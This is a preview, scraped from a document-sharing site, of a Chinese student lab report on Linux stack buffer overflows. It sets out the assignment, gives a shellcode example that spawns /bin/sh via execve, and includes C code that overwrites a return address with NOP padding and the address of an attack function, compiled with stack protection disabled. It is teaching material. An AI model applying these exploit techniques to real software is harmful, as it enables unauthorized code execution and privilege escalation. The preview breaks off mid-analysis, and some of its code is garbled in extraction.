linux缓冲区溢出实验

linux缓冲区溢出实验

ID:9992342

大小:421.00 KB

页数:14页

时间:2018-05-20

linux缓冲区溢出实验_第1页
linux缓冲区溢出实验_第2页
linux缓冲区溢出实验_第3页
linux缓冲区溢出实验_第4页
linux缓冲区溢出实验_第5页
资源描述:

《linux缓冲区溢出实验》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库

1、缓冲区溢出攻击实验【实验要求】1)基本要求:编写一个能实现缓冲区溢出(整数溢出或堆栈溢出)的程序。语言不限(c,c++,c#,java等均可),环境也不限(linux或windows等)。并在调试状态下(如linux的gdb或其他集成开发环境的调试命令)查看寄存器和相应存储单元内容的变化情况。分析并解释缓冲区溢出的原因。提交:分析文档(要给出调试过程和运行过程中的一些必要的截图),源代码等。2)提高要求:在上述溢出的情况下,改写ret地址,增加shellcode代码,实现本地或远程管理员权限的非授权访问。例:一个简单的shellcode

2、程序:/*linux下的一个程序*/#includevoidmain(){char*name[2];name[0]="/bin/sh";name[1]=NULL;execve(name[0],name,NULL);}也可用gdb对其反汇编(主要分析execve和exit函数调用的机器指令),获得相关的汇编代码,进一步处理为16进制机器代码,形如charshellcode[]="xebxlf.......binsh";然后利用strcpy等脆弱性函数植入shellcode.【实验原理】实验主要是利用getchar

3、()等脆弱性函数在执行时没有检查缓冲区长度的特性,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。1、局部变量与堆栈的关系在一个程序中,会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被初始化,而局部变量则在堆栈中分配,只在该函数内部有效。如果局部变量使用不当,会造成缓冲区溢出漏洞。例如,以下程序将会由于getchar()没有检查缓冲区,导致输入溢出:#includeintmain(){charch[3];inti=0;

4、while((ch[i++]=getchar())!='');printf("i=%d%s",i,ch);return0;}1、利用堆栈溢出运行攻击代码攻击的最关键在于利用缓冲区溢出部分的数据覆盖堆栈,用特定的地址替换堆栈中的返回地址,这样当函数调用返回的时候就会把我们替换的返回地址弹出到当前基址,继续执行就会转入我们想要跳转的地址执行事先设定好的代码段了。【实验环境】操作系统:Ubuntu10.10GDB版本:Ubuntu/Linaro7.2-1ubuntu11i686-linux-gnuCPU型号:AMD245【实验过程】1

5、、基础演示缓冲区溢出1#include2inti=0;3voidattack()4{5printf("hello,this'sattackfunction");6}7voidget()8{9inta=0;10unsignedcharch[3];11int*ret=0;12printf("%x%x",&a,&ch);13//while((ch[i++]=getchar())!='');14//while(scanf("%d",ch[i++]));15while(i<23)16ch[i++]=0x90;17

6、ch[i++]=(char)(int)&attack%256;18ch[i++]=(char)((int)&attack>>8)%256;19ch[i++]=(char)((int)&attack>>16)%256;20ch[i++]=(char)((int)&attack>>24)%256;21printf("i=%d%d%s",i,a,ch);22//ret=&i+5;23//*ret-=12;24//return0;25}2627intmain()28{29//inti=0;30get();31printf("hello"

7、);32printf("%d",i);33return0;34}对exp_flow.c进行编译:gcc-g-fno-stack-protector-zexecstack-oflow1exp_flow1.cobjdump-dflow1//对flow1进行反汇编堆栈:高位地址参数1参数2...参数n函数返回地址0xbffff28cebpebx(在栈里分配0x24个位置)...esp-0xc0xbffff27c(int*ret)esp-0x100xbffff278(inta)esp-0x130xbffff275(charch[3])低位地

8、址(gdb)print/x&a//inta的地址$6=0xbffff278(gdb)print/x&ch//charch[3]数组的首地址$7=0xbffff275(gdb)print/x&ret//int

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。